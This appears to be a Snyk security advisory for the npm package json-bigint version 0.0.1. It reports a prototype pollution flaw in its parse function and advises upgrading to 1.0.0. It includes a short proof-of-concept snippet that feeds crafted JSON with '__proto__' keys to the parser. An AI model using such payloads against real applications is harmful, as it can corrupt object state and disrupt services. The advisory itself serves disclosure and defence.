json-bigint@0.0.1 vulnerabilities

JSON.parse with bigints support

Direct Vulnerabilities

Known vulnerabilities in the json-bigint package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

json-bigint is a JSON.parse with bigints support

Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

POC

const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())

How to fix Prototype Pollution?

Upgrade json-bigint to version 1.0.0 or higher.

<1.0.0